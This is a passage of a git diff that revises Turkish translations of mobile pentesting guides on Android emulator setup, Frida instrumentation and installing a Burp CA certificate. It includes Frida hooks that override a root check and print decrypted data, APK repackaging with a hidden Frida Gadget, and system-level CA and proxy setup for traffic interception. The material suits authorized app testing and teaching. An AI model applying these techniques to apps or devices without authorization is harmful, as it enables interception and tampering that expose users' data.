çalıştırın: ``` @@ -95,16 +95,16 @@ Name: Nexus 10 OEM : Google [...] ``` -Kullanmak istediğiniz cihazın adını belirledikten sonra, bu cihazda hangi Android görüntüsünü çalıştırmak istediğinize **karar vermelisiniz.**\ -Tüm seçenekleri `sdkmanager` kullanarak listeleyebilirsiniz: +Kullanmak istediğiniz cihazın adını belirledikten sonra, bu cihazda hangi Android imajını çalıştırmak istediğinize **karar vermelisiniz.**\ +Tüm seçenekleri `sdkmanager` ile listeleyebilirsiniz: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -Ve kullanmak istediğiniz birini (veya hepsini) **download** ile indirin: +Ve kullanmak istediğiniz (veya hepsini) **indirin**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -Kullanmak istediğiniz Android imajını indirdikten sonra, **indirilen tüm Android imajlarını listeleyebilirsiniz** şu komutla: +Kullanmak istediğiniz Android imajını indirdikten sonra **indirilmiş tüm Android imajlarını listeleyebilirsiniz**: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -120,11 +120,11 @@ Type: Platform API level: 29 Revision: 4 ``` -Şu anda kullanmak istediğiniz cihazı belirlediniz ve Android imajını indirdiniz, bu yüzden **sanal makineyi şu şekilde oluşturabilirsiniz**: +Bu noktada kullanmak istediğiniz cihazı seçtiniz ve Android imajını indirdiniz, bu yüzden **sanal makineyi şu şekilde oluşturabilirsiniz**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -Son komutta **adlı bir VM oluşturdum** "_AVD9_" ve **cihaz** olarak "_Nexus 5X_" ile **Android image** olarak "_system-images;android-28;google_apis;x86_64_" kullandım.\ +Son komutta **adında bir VM oluşturdum** "_AVD9_" ; **cihaz** olarak "_Nexus 5X_" ve **Android imajı** olarak "_system-images;android-28;google_apis;x86_64_" kullanıldı.\ Şimdi oluşturduğunuz **sanal makineleri listeleyebilirsiniz** şu komutla: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -143,50 +143,50 @@ Error: Google pixel_2 no longer exists as a device ### Sanal Makineyi Çalıştır > [!WARNING] -> macOS için, eğer yüklüyse `avdmanager` aracını `/Users//Library/Android/sdk/tools/bin/avdmanager` ve `emulator` uygulamasını `/Users//Library/Android/sdk/emulator/emulator` konumlarında bulabilirsiniz. +> macOS için `avdmanager` aracını `/Users//Library/Android/sdk/tools/bin/avdmanager` ve `emulator`'ü `/Users//Library/Android/sdk/emulator/emulator` içinde bulabilirsiniz, eğer yüklülerse. -Oluşturulan sanal makineleri nasıl listeleyebileceğimizi zaten gördük, ancak **şunu kullanarak da listeleyebilirsiniz**: +Oluşturduğunuz sanal makineleri nasıl listeleyebileceğinizi zaten gördük, ancak **bunları şu komutla da listeleyebilirsiniz**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds AVD9 Pixel_2_API_27 ``` -Oluşturulan herhangi bir sanal makineyi **basitçe çalıştırabilirsiniz** şu komutla: +Aşağıdakileri kullanarak oluşturulan herhangi bir sanal makineyi **basitçe çalıştırabilirsiniz**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName" C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" ``` -Veya daha gelişmiş seçenekleri kullanarak şu gibi bir sanal makine çalıştırabilirsiniz: +Veya daha gelişmiş seçenekler kullanarak şu gibi bir sanal makine çalıştırabilirsiniz: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` ### Komut satırı seçenekleri -Ancak sanal makineyi başlatmak için kullanabileceğiniz **birçok farklı komut satırı yararlı seçeneği** vardır. Aşağıda bazı ilginç seçenekleri bulabilirsiniz; tam listeyi [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) adresinde bulabilirsiniz. +Ancak sanal makineyi başlatmak için kullanabileceğiniz **birçok farklı komut satırı yararlı seçeneği** vardır. Aşağıda bazı ilginç seçenekleri bulabilirsiniz fakat [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) -**Boot** +**Başlangıç** -- `-snapshot name` : VM snapshot'ını başlat -- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Tüm kayıtlı snapshot'ları listeler +- `-snapshot name` : Start VM snapshot +- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : List all the snapshots recorded -**Network** +**Ağ** -- `-dns-server 192.0.2.0, 192.0.2.255` : VM için DNS sunucularını virgülle ayrılmış şekilde belirtmeye izin verir. -- **`-http-proxy 192.168.1.12:8080`** : Kullanılacak bir HTTP proxy'sini belirtmeye izin verir (trafiği Burp ile yakalamak için çok kullanışlı). +- `-dns-server 192.0.2.0, 192.0.2.255` : VM için virgülle ayrılmış DNS sunucularını belirtmeye izin verir. +- **`-http-proxy 192.168.1.12:8080`** : Kullanılacak bir HTTP proxy belirtmeyi sağlar (trafik yakalamak için Burp kullanırken çok faydalı) - If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid". - `-netdelay 200` : Ağ gecikmesi emülasyonunu milisaniye cinsinden ayarlar. - `-port 5556` : Konsol ve adb için kullanılan TCP port numarasını ayarlar. - `-ports 5556,5559` : Konsol ve adb için kullanılan TCP portlarını ayarlar. -- **`-tcpdump /path/dumpfile.cap`** : Tüm trafiği bir dosyaya yakalar +- **`-tcpdump /path/dumpfile.cap`** : Tüm trafiği bir dosyaya kaydeder. -**System** +**Sistem** -- `-selinux {disabled|permissive}` : Security-Enhanced Linux güvenlik modülünü Linux işletim sisteminde disabled veya permissive moduna ayarlar. +- `-selinux {disabled|permissive}` : Linux işletim sisteminde Security-Enhanced Linux güvenlik modülünü disabled veya permissive moda ayarlar. - `-timezone Europe/Paris` : Sanal cihaz için zaman dilimini ayarlar - `-screen {touch(default)|multi-touch|o-touch}` : Emüle edilmiş dokunmatik ekran modunu ayarlar. -- **`-writable-system`** : Bu seçeneği emülasyon oturumu sırasında yazılabilir bir sistem imajı kullanmak için kullanın. Ayrıca `adb root; adb remount` komutlarını çalıştırmanız gerekir. Sisteme yeni bir sertifika yüklemek için çok faydalıdır. +- **`-writable-system`** : Bu seçeneği emülasyon oturumunuz sırasında yazılabilir bir sistem görüntüsü elde etmek için kullanın. Ayrıca `adb root; adb remount` komutlarını çalıştırmanız gerekir. Bu, sisteme yeni bir sertifika yüklemek için çok faydalıdır. -## Linux CLI setup (SDK/AVD quickstart) +## Linux CLI kurulumu (SDK/AVD quickstart) Resmi CLI araçları, Android Studio olmadan hızlı, hata ayıklanabilir emülatörler oluşturmayı kolaylaştırır. ```bash @@ -217,9 +217,9 @@ adb root adb shell whoami # expect: root ``` Notlar -- Sistem image varyantları: google_apis (hata ayıklanabilir, `adb root`'a izin verir), google_apis_playstore (rootlenemez), aosp/default (hafif). -- Build türleri: userdebug genellikle debug-özellikli image'larda `adb root` sağlar. Play Store image'ları üretim derlemeleridir ve root'u engeller. -- x86_64 hostlarda, tam sistem ARM64 emülasyonu API 28+ itibarıyla desteklenmiyor. Android 11+ için birçok ARM-only uygulamayı hızlı çalıştırmak adına uygulama başına ARM-to-x86 çevirisini içeren Google APIs/Play image'larını kullanın. +- Sistem image varyantları: google_apis (debuggable, allows adb root), google_apis_playstore (not rootable), aosp/default (lightweight). +- Build türleri: userdebug genellikle debug-capable imajlarda `adb root` sağlar. Play Store imajları üretim build'leri olup root'u engeller. +- x86_64 host'larda, tam sistem ARM64 emülasyonu API 28+'ten itibaren desteklenmiyor. Android 11+ için, birçok ARM-only uygulamayı hızlı çalıştırmak üzere per-app ARM-to-x86 translation içeren Google APIs/Play imajlarını kullanın. ### CLI'den Anlık Görüntüler ```bash @@ -229,42 +229,42 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup # Boot from a named snapshot (if it exists) emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup ``` -## ARM→x86 binary translation (Android 11+) +## ARM→x86 ikili çeviri (Android 11+) -Android 11+ üzerinde Google APIs ve Play Store imajları, sistemin geri kalanını yerel x86/x86_64 tutarken her süreç için ARM uygulama ikili dosyalarını çevirebilir. Bu, masaüstünde birçok yalnızca ARM uygulamasını test etmek için genellikle yeterince hızlıdır. +Android 11+ üzerinde Google APIs ve Play Store imajları, sistemin geri kalanını yerel x86/x86_64 tutarken işlem başına ARM uygulama ikili dosyalarını çevirebilir. Bu, birçok yalnızca ARM uygulamasını masaüstünde test etmek için genellikle yeterince hızlıdır. -> İpucu: pentests sırasında Google APIs x86/x86_64 imajlarını tercih edin. Play imajları kullanışlıdır ama `adb root`'u engeller; sadece Play services'e özellikle ihtiyaç duyduğunuzda ve root eksikliğini kabul ettiğinizde kullanın. +> İpucu: pentests sırasında Google APIs x86/x86_64 imajlarını tercih edin. Play imajları kullanışlıdır ama `adb root`'u engeller; yalnızca Play services'e özellikle ihtiyaç duyduğunuzda ve root eksikliğini kabul ettiğinizde bunları kullanın. -## Rooting a Play Store device +## Play Store cihazına root verme -Eğer Play Store ile bir cihaz indirdiyseniz doğrudan root elde edemeyecek ve şu hata mesajını alacaksınız +Eğer Play Store olan bir cihaz indirdiyseniz doğrudan root alamayacaksınız ve şu hata mesajını alacaksınız ``` $ adb root adbd cannot run as root in production builds ``` -[rootAVD](https://github.com/newbit1/rootAVD) ile [Magisk](https://github.com/topjohnwu/Magisk) kullanarak cihazı root yapabildim (örneğin [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **veya** [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)). +[ rootAVD ](https://github.com/newbit1/rootAVD) ile [Magisk](https://github.com/topjohnwu/Magisk) kullanarak cihazı root yapabildim (örnek olarak [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) veya [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8) videolarını izleyin). ## Burp Sertifikasını Yükleme -Özel bir CA sertifikası nasıl yüklenir öğrenmek için aşağıdaki sayfayı inceleyin: +Özel bir CA sertifikasının nasıl yükleneceğini öğrenmek için aşağıdaki sayfayı inceleyin: {{#ref}} install-burp-certificate.md {{#endref}} -## AVD İçin Faydalı Seçenekler +## Faydalı AVD Seçenekleri -### Anlık Görüntü Alma +### Snapshot (Anlık Görüntü) Al -VM'nin anlık görüntüsünü istediğiniz zaman almak için **GUI'yi kullanabilirsiniz**: +**GUI'yi kullanarak** VM'in istediğiniz zaman bir snapshot'ını alabilirsiniz: ![](<../../images/image (234).png>) -## Kaynaklar +## Referanslar -- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -- [Android Emulator command line](https://developer.android.com/studio/run/emulator-commandline) -- [Run ARM apps on the Android Emulator (x86 translation)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) +- [Tekrarlanabilir Bir Android Bug Bounty Laboratuvarı Oluşturma: Emulator vs Magisk, Burp, Frida ve Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) +- [Android Emulator komut satırı](https://developer.android.com/studio/run/emulator-commandline) +- [Android Emulator üzerinde ARM uygulamalarını çalıştırma (x86 çevirisi)](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index c1620db1a..89f4e390d 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -10,22 +10,22 @@ Yükleyin **frida tools**: pip install frida-tools pip install frida ``` -**İndir ve kur** Android'e **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ -adb'yi root mode'da yeniden başlatmak, ona bağlanmak, frida-server'ı yüklemek, exec permissions verip arka planda çalıştırmak için tek satırlık komut: +**İndirip kurun** Android cihazına **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ +Tek satırlık komut: adb'yi root modunda yeniden başlatmak, ona bağlanmak, frida-server'ı yüklemek, çalıştırma izinleri verip arka planda çalıştırmak: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` -**Kontrol et** çalışıyor mu: +**Kontrol et** eğer **çalışıyorsa**: ```bash frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name ``` ## Frida server vs. Gadget (root vs. no-root) -Frida ile Android uygulamalarını enstrümante etmenin iki yaygın yolu: +Frida ile Android uygulamalarını enstrümente etmenin iki yaygın yolu: -- Frida server (rooted devices): Cihaz üzerine push edip çalıştırdığınız, herhangi bir sürece attach olmanıza izin veren native bir daemon. -- Frida Gadget (no root): Frida'yı APK içine shared library olarak paketleyip, hedef süreç içinde otomatik yükler. +- Frida server (rooted devices): Cihaza yerel (native) bir daemon push edip çalıştırır; bu daemon herhangi bir process'e attach olmanızı sağlar. +- Frida Gadget (no root): Frida'yı APK içine shared library olarak paketler ve hedef process içinde otomatik olarak yükler. Frida server (rooted) ```bash @@ -42,9 +42,9 @@ frida -U -n com.example.app ``` Frida Gadget (no-root) -1) APK'yı açın, gadget .so ve konfigürasyonu ekleyin: -- libfrida-gadget.so'u lib// içine koyun (örn., lib/arm64-v8a/) -- assets/frida-gadget.config dosyasını script yükleme ayarlarınızla oluşturun +1) APK'nin paketini açın, gadget .so ve yapılandırmayı ekleyin: +- libfrida-gadget.so dosyasını lib// içine koyun (ör. lib/arm64-v8a/) +- assets/frida-gadget.config dosyasını, script yükleme ayarlarınızla oluşturun Örnek frida-gadget.config ```json @@ -53,8 +53,8 @@ Frida Gadget (no-root) "runtime": { "logFile": "/sdcard/frida-gadget.log" } } ``` -2) gadget'i erken başlatılacak şekilde referanslayın/yükleyin: -- En kolay: Application.onCreate() içinde System.loadLibrary("frida-gadget") çağıran küçük bir Java stub'u ekleyin veya zaten mevcut olan native lib yüklemeyi kullanın. +2) Gadget'in erken başlatılmasını sağlayacak şekilde referans verin/yükleyin: +- En kolay: Application.onCreate() içinde System.loadLibrary("frida-gadget") çağıran küçük bir Java stub'u ekleyin veya zaten var olan native lib yüklemesini kullanın. 3) APK'yı yeniden paketleyin ve imzalayın, sonra yükleyin: ```bash @@ -64,44 +64,44 @@ apktool b app_m -o app_gadget.apk uber-apk-signer -a app_gadget.apk -o out_signed adb install -r out_signed/app_gadget-aligned-debugSigned.apk ``` -4) Host'tan gadget işlemine bağlanın: +4) Host'tan gadget process'e attach edin: ```bash frida-ps -Uai frida -U -n com.example.app ``` Notlar -- Gadget bazı korumalar tarafından tespit edilebilir; adları/yolları gizli tutun ve gerekirse geç/koşullu olarak yükleyin. -- Sertleştirilmiş uygulamalarda, rooted testing'i server + late attach ile tercih edin veya Magisk/Zygisk gizleme ile birleştirin. +- Gadget bazı korumalar tarafından tespit edilebilir; isimleri/yolları gizli tutun ve gerekirse geç/koşullu olarak yükleyin. +- Sertleştirilmiş uygulamalarda, tercihen rooted testleri server + late attach ile yapın veya Magisk/Zygisk gizleme ile kombinleyin. ## Eğitimler -### [Tutorial 1](frida-tutorial-1.md) +### [Eğitim 1](frida-tutorial-1.md) **Kaynak**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Kaynak Kod**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**Oku için [link to read it](frida-tutorial-1.md).** +**Okumak için [bağlantıya tıklayın](frida-tutorial-1.md).** -### [Tutorial 2](frida-tutorial-2.md) +### [Eğitim 2](frida-tutorial-2.md) -**Kaynak**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ +**Kaynak**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Bölümler 2, 3 & 4)\ **APKs ve Kaynak kodu**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**Oku için[ link to read it.](frida-tutorial-2.md)** +**Okumak için [bağlantıya tıklayın.](frida-tutorial-2.md)** -### [Tutorial 3](owaspuncrackable-1.md) +### [Eğitim 3](owaspuncrackable-1.md) **Kaynak**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**Oku için [link to read it](owaspuncrackable-1.md).** +**Okumak için [bağlantıya tıklayın](owaspuncrackable-1.md).** -**Daha fazla Awesome Frida script'ini burada bulabilirsiniz:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**Daha fazla Awesome Frida script'ini şurada bulabilirsiniz:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) ## Hızlı Örnekler -### Frida'yı komut satırından çağırma +### Komut satırından Frida çağırma ```bash frida-ps -U @@ -125,9 +125,9 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -### Hooking: parametresiz fonksiyonlar +### Hooking parametresiz fonksiyonlar -Hook `sg.vantagepoint.a.c` sınıfının `a()` fonksiyonunu +`sg.vantagepoint.a.c` sınıfının `a()` fonksiyonunu Hooklayın. ```javascript Java.perform(function () { ; rootcheck1.a.overload().implementation = function() { @@ -158,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -Hook android `.onCreate()` +android `.onCreate()`'ine hook uygula ```javascript var activity = Java.use("android.app.Activity") activity.onCreate.overload("android.os.Bundle").implementation = function ( @@ -168,9 +168,9 @@ send("Activity HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -### Hooking parametreleri olan fonksiyonlar ve değerin alınması +### Parametrelerle Hooking fonksiyonları ve değeri alma -Bir decryption fonksiyonunu Hooking yapma. Input'u yazdır, orijinal fonksiyonu çağırarak input'u decrypt et ve son olarak plain veriyi yazdır: +Bir decryption fonksiyonunu hooking. Girdiyi yazdır, orijinal fonksiyonu çağırıp girdiyi decrypt et ve son olarak düz veriyi yazdır: ```javascript function getString(data) { var ret = "" @@ -195,7 +195,7 @@ send("Decrypted flag: " + flag) return ret //[B } ``` -### Hooking fonksiyonları ve girdimizle çağırmak +### Hooking fonksiyonları ve onları girdimizle çağırma Bir string alan bir fonksiyonu Hook'la ve onu başka bir string ile çağır (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript @@ -210,9 +210,9 @@ console.log("Return value: " + ret) return ret } ``` -### Bir sınıfın önceden oluşturulmuş bir nesnesini alma +### Önceden oluşturulmuş bir sınıf nesnesini almak -Oluşturulmuş bir nesnenin bir özniteliğini almak istiyorsanız bunu kullanabilirsiniz. +Oluşturulmuş bir nesnenin bazı özelliklerini çıkarmak istiyorsanız bunu kullanabilirsiniz. Bu örnekte my_activity sınıfının nesnesini nasıl alacağınızı ve nesnenin özel bir özniteliğini yazdıracak .secret() fonksiyonunu nasıl çağıracağınızı göreceksiniz: ```javascript @@ -228,13 +228,13 @@ onComplete: function () {}, ## Diğer Frida öğreticileri - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -- [Advanced Frida Usage blog serisinin Bölüm 1: iOS Şifreleme Kütüphaneleri](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) +- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) -## Kaynaklar +## Referanslar -- [Tekrarlanabilir Android Bug Bounty Laboratuvarı Oluşturma: Emulator vs Magisk, Burp, Frida ve Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -- [Frida Gadget dokümantasyonu](https://frida.re/docs/gadget/) -- [Frida sürümleri (sunucu ikili dosyaları)](https://github.com/frida/frida/releases) +- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) +- [Frida Gadget documentation](https://frida.re/docs/gadget/) +- [Frida releases (server binaries)](https://github.com/frida/frida/releases) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index e71f64c1a..8d03b54ef 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -3,9 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} -## ADB ile sistem genelinde proxy +## ADB üzerinden sistem çapında proxy -Global bir HTTP proxy yapılandırın, böylece tüm uygulamalar trafiği interceptor'ünüzden (Burp/mitmproxy) geçirir: +Tüm uygulamaların trafiğini interceptor'ınıza (Burp/mitmproxy) yönlendirmesi için sistem çapında bir HTTP proxy yapılandırın: ```bash # Set proxy (device/emulator must reach your host IP) adb shell settings put global http_proxy 192.168.1.2:8080 @@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080 # Clear proxy adb shell settings put global http_proxy :0 ``` -Tip: Burp'ta dinleyicinizi 0.0.0.0 adresine bağlayın, böylece LAN'daki cihazlar bağlanabilir (Proxy -> Options -> Proxy Listeners). +Tip: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners). ## Sanal Makinede -Öncelikle Burp'tan **DER** sertifikasını indirmeniz gerekiyor. Bunu _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ üzerinden yapabilirsiniz. +Öncelikle Burp'tan Der sertifikasını indirmeniz gerekiyor. Bunu _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ yolundan yapabilirsiniz. ![](<../../images/image (367).png>) -**Der formatında sertifikayı dışa aktarın** ve bunu **dönüştürelim** ki **Android** **anlayabilsin.** Not: **AVD içindeki Android makinesinde Burp sertifikasını yapılandırabilmek için** bu makineyi **`-writable-system`** seçeneği ile **çalıştırmanız** gerekir.\ +**Sertifikayı Der formatında dışa aktarın** ve bunu **Android**'in **anlayacağı** bir formata **dönüştürelim.** Not: **AVD içindeki Android makinede burp sertifikasını yapılandırmak için** bu makineyi **`-writable-system`** seçeneği ile **çalıştırmanız** gerektiğini unutmayın.\ Örneğin şöyle çalıştırabilirsiniz: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -Sonra, **burps sertifikasını yapılandırmak için şunları yapın**: +Sonra, **burps sertifikasını yapılandırmak için şunu yapın**: ```bash openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0" @@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -Once the **makine yeniden başlatmayı tamamladıktan sonra** Burp sertifikası kullanılacaktır! +Makine **yeniden başlatmayı tamamladıktan sonra** burp sertifikası kullanılacaktır! ## Magisc Kullanımı -Eğer cihazınızı **Magisc ile root'ladıysanız** (örneğin bir emulator) ve Burp sertifikasını kurmak için önceki **adımları** izleyemiyorsanız çünkü **dosya sistemi salt okunur** ve yeniden yazılabilir şekilde remount edemiyorsanız, başka bir yol var. +Eğer cihazınızı **Magisc ile rootladıysanız** (belki bir emulator), ve Burp sertifikasını yüklemek için önceki **adımları** **izleyemiyorsanız** çünkü **dosya sistemi salt okunur** ve yeniden yazılabilir şekilde yeniden mount edemiyorsanız, başka bir yol var. -Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you need to: +[**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) içinde açıklandığı üzere yapmanız gerekenler: -1. **Install a CA certificate**: Sadece DER Burp sertifikasının uzantısını `.crt` olarak değiştirip mobil cihaza drag&drop yapın, böylece Downloads klasöründe saklanır ve `Install a certificate` -> `CA certificate` yolunu izleyin. +1. **Bir CA sertifikası yükleyin**: DER Burp sertifikasını `.crt` uzantısına **değiştirerek** mobil cihaza sadece **sürükle&bırak** ile Downloads klasörüne koyun ve `Install a certificate` -> `CA certificate`'e gidin
-- Sertifikanın doğru şekilde saklandığını doğrulamak için `Trusted credentials` -> `USER` yoluna gidin. +- Sertifikanın doğru saklandığını kontrol etmek için `Trusted credentials` -> `USER`'e gidin
-2. **Make it System trusted**: Magisc modülü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (.zip dosyası) indirin, telefonuza **drag&drop** yapın, telefondaki **Magics app** uygulamasında **`Modules`** bölümüne gidin, **`Install from storage`** seçeneğine tıklayın, `.zip` modülünü seçin ve kurulduktan sonra telefonu **reboot** edin: +2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonuza **sürükle&bırak** ile koyun, telefondaki **Magics app**'e gidin `Modules` bölümüne, **`Install from storage`**'a tıklayın, `.zip` modülünü seçin ve yüklendikten sonra telefonu **yeniden başlatın**:
-- Yeniden başlattıktan sonra `Trusted credentials` -> `SYSTEM` yoluna gidip Postswigger cert'in orada olduğunu kontrol edin. +- Yeniden başlattıktan sonra `Trusted credentials` -> `SYSTEM`'e gidin ve Postswigger sertifikasının orada olduğunu kontrol edin
-### Learn how to create a Magisc module +### Bir Magisc modülü oluşturmayı öğrenin -Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) +İnceleyin [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) ## Android 14 Sonrası -En son Android 14 sürümünde, sistem tarafından güvenilen Certificate Authority (CA) sertifikalarının yönetiminde önemli bir değişiklik gözlemlendi. Önceden bu sertifikalar **`/system/etc/security/cacerts/`** dizininde tutuluyor ve root ayrıcalığı olan kullanıcılar tarafından erişilip değiştirilebiliyordu; bu da sistem genelinde anında uygulanmalarına izin veriyordu. Ancak Android 14 ile birlikte saklama yeri **`/apex/com.android.conscrypt/cacerts`** olarak taşındı; bu dizin **`/apex`** yolunun içinde yer alır ve doğası gereği değiştirilemez (immutable). +En son Android 14 sürümünde, sistem tarafından güvenilen Certificate Authority (CA) sertifikalarının işlenmesinde önemli bir değişiklik gözlemlendi. Önceden bu sertifikalar **`/system/etc/security/cacerts/`** içinde tutuluyor, root ayrıcalığına sahip kullanıcılar tarafından erişilebilir ve değiştirilebiliyordu; bu da sistem genelinde hemen uygulanmalarına imkan veriyordu. Ancak Android 14 ile depolama yeri **`/apex/com.android.conscrypt/cacerts`** içine taşındı; bu **`/apex`** yolundaki bir dizindir ve doğası gereği immutable (değiştirilemez) olarak tasarlanmıştır. -**APEX cacerts yolunu** yazılabilir hale getirmek için remount yapma girişimleri başarısız olur; sistem bu tür işlemlere izin vermez. Dizini unmount etmeye veya geçici bir dosya sistemi (tmpfs) ile overlay yapmaya çalışmak bile immutability'yi aşmaz; uygulamalar dosya sistemi seviyesindeki değişikliklerden bağımsız olarak orijinal sertifika verilerine erişmeye devam eder. Bunun nedeni, **`/apex`** mount'ının PRIVATE propagation ile yapılandırılmış olmasıdır; bu da **`/apex`** içindeki değişikliklerin diğer süreçleri etkilememesini sağlar. +APEX cacerts yolunu yazılabilir olarak yeniden mount etmeye yönelik girişimler başarısızlıkla karşılaşıyor, çünkü sistem böyle işlemlere izin vermiyor. Dizini unmount etmeye veya üzerine geçici bir dosya sistemi (tmpfs) bind/overlay etmeye yönelik girişimler bile bu değiştirilemezliği aşamıyor; uygulamalar dosya sistemi düzeyindeki değişikliklerden bağımsız olarak orijinal sertifika verilerine erişmeye devam ediyor. Bu dayanıklılık, **`/apex`** mount'unun PRIVATE propagation ile yapılandırılmasından kaynaklanır; böylece **`/apex`** içindeki herhangi bir değişiklik diğer süreçleri etkilemez. -Android'in başlatılmasında `init` süreci işletim sistemini başlatırken aynı zamanda Zygote sürecini de başlatır. Bu süreç, uygulama süreçlerini yeni bir mount namespace ile başlatmaktan sorumludur ve bu namespace içinde private bir **`/apex`** mount bulunur; böylece bu dizindeki değişiklikler diğer süreçlerden izole edilir. +Android'in başlatılması, işletim sistemini başlatan `init` sürecini içerir; bu süreç aynı zamanda Zygote sürecini başlatır. Zygote, yeni bir mount namespace ile uygulama süreçlerini başlatmaktan sorumludur ve bu namespace içinde özel bir **`/apex`** mount 